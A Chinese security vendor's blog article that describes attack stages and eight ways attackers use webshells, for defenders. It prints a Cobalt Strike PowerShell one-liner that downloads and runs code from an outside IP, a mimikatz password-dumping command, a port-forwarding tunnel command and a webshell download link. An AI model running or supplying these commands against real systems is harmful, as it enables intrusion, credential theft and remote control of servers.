提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      《入侵生命周期细分实践指南》:Webshell攻击
      发布时间:2021-08-30 阅读次数: 298 次

      美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型。


      作为美创新一代安全架构的三大支柱之一。入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。


      1)探索发现


      在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。


      2)入侵和感染


      在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。


      3)探索感知


      攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。


      4)传播


      在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。


      5)持久化


      攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。


      6)攻击和利用


      攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。


      7)恢复


      攻击者在执行所有的攻击操作时,往往会在系统上留下大量的行为日志,因此在这一阶段,攻击者会对记录自身痕迹的所有日志进行处理,或删除或混淆,从而消灭证据,逃避追踪。



      本系列文章基于美创科技入侵生命周期1.0架构,细分个阶段攻击者的常用攻击手段,并对相关攻击手段的具体实施方式进行逐一剖析,为安全防御建设提供有力知识补充和反制准备。


      webshell攻击

      入侵和感染、传播、攻击和利用、持久化阶段


      webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。


      从攻击者的角度来分析,当黑客通过某些漏洞渗透Web网站服务器之后,如果这些漏洞可以上传网页脚本文件或者写入网页脚本文件,黑客就会上传或者写入一个恶意的网页脚本文件,从而得到一个命令执行环境,以达到持续控制网站服务器的目的,这便是Webshell植入。


      根据攻击者的入侵流程和操作手段,Webshell在入侵过程的多个生命周期流程有发挥举足轻重的作用,可以帮助攻击者完成各类操作,从入侵生命周期角度分析,Webshell可作用于攻击者入侵和感染、传播、攻击和利用以及持久化四个阶段。在入侵和感染阶段,Webshell被攻击者根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,最终成果构造可用Webshell;之后Webshell可通过命令执行的方式为攻击者的内部横向移动、扩散攻击以及构建持久化后门提供便利。


      从攻击行为链条的上下文来看,针对Webshell的行为链条输入输出如下:


      输入:webshell文件、使用webshell执行的操作


      输出:webshell执行操作对应的输出结果


      根据不同攻击思路,攻击者利用webshell进行攻击的手法通常有8种:


      1. 通过webshell浏览、上传、下载服务器文件


      以Linux系统下一句话phpwebshell为例,使用中国菜刀进行连接(中国菜刀的流量为base64编码->URL编码,使用URL解码->base64解码后可以看到明文流量)

      webshell文件代码:


      在该webshell中,使用了eval函数,使用中国菜刀连接该webshell进行操作相当于是代码执行的过程,中国菜刀会根据操作的具体动作,将操作指令与php代码组合成一段完整的php代码并执行,然后输出代码执行结果。



      使用中国菜刀连接后可以进行服务器文件的浏览、上传、下载操作,如果webshell的权限为系统管理员权限,还可以进行系统目录的文件的浏览、上传、下载、删除操作。



      2. 通过webshell连接服务器内网数据库


      以Windows系统下冰蝎php webshell为例,使用冰蝎进行连接(冰蝎的流量为采用AES加密)


      webshell文件代码如下:


      使用冰蝎连接webshell,在知道服务器本地数据库端口、账号、密码的情况下,可以使用webshell进行数据库的连接


      mysql://root:123456@127.0.0.1:3306/mysql


      3. 通过webshell执行服务器系统命令


      以Windows系统下自带回显的jsp webshell为例


      webshell文件代码如下:


      执行whoami命令查看当前用户信息


      4. 通过webshell执行powershell,从而执行更多攻击载荷


      以Windows系统下使用webshell执行powershell反弹一个shell到CobaltStrike为例。


      在Cobalt Strike服务端上运行:./teamserver cs服务端ip cs密码。


      本机运行Cobalt Strike客户端并生成powershell脚本


      生成的powershell攻击载荷为:powershell.exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://118.178.20.7:80/a'))",使用冰蝎或者中国菜刀连接webshell后再命令窗口运行该载荷,执行后即可在Cobalt Strike中看到主机上线。


      5. 通过webshell操作注册表


      以Windows系统下使用aspxspywebshell(aspx大马)操作注册表为例


      aspxspy下载地址:https://www.webshell.cc/4422.html


      使用aspxspy的RegShell功能操作注册表



      6. 通过webshell执行上传的恶意应用,如mimikatz等


      以Windows系统下使用webshell上传mimikatz并进行主机密码获取为例


      使用中国菜刀连接一句话webshell后上传mimikatz到被攻击主机中


      使用命令运行mimikatz:


      mimikatz.exe""privilege::debug"" ""sekurlsa::logonpasswordsfull"" exit >> log.txt获取密码



      密码保存在log.txt中,打开即可查看获取的主机明文密码。

      7. 通过webshell进行内网扫


      以Windows系统下使用aspxspywebshell(aspx大马)进行内网端口扫描为例


      aspxspy下载地址:https://www.webshell.cc/4422.html


      使用aspxspy的PortScan功能进行内网端口扫描


      8. 通过webshell上传代理到服务器进行端口转发


      以Windows系统下通过webshell上传jsp代理工具abptts后进行端口转发为例


      通过webshell上传abptts.jsp文件,打开路径显示如下即为代理正常运行


      python2 abpttsclient.py -cwebshellconfig.txt -u "http://49.233.141.238:8080/abptts/abptts.jsp"-f 127.0.0.1:33066/127.0.0.1:3306

      此条命令表示将被攻击机的3306端口转发到本机的33066端口,如下执行命令后端口转发成功。


      本地连接33066成功连接被攻击机的mysql数据库。

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部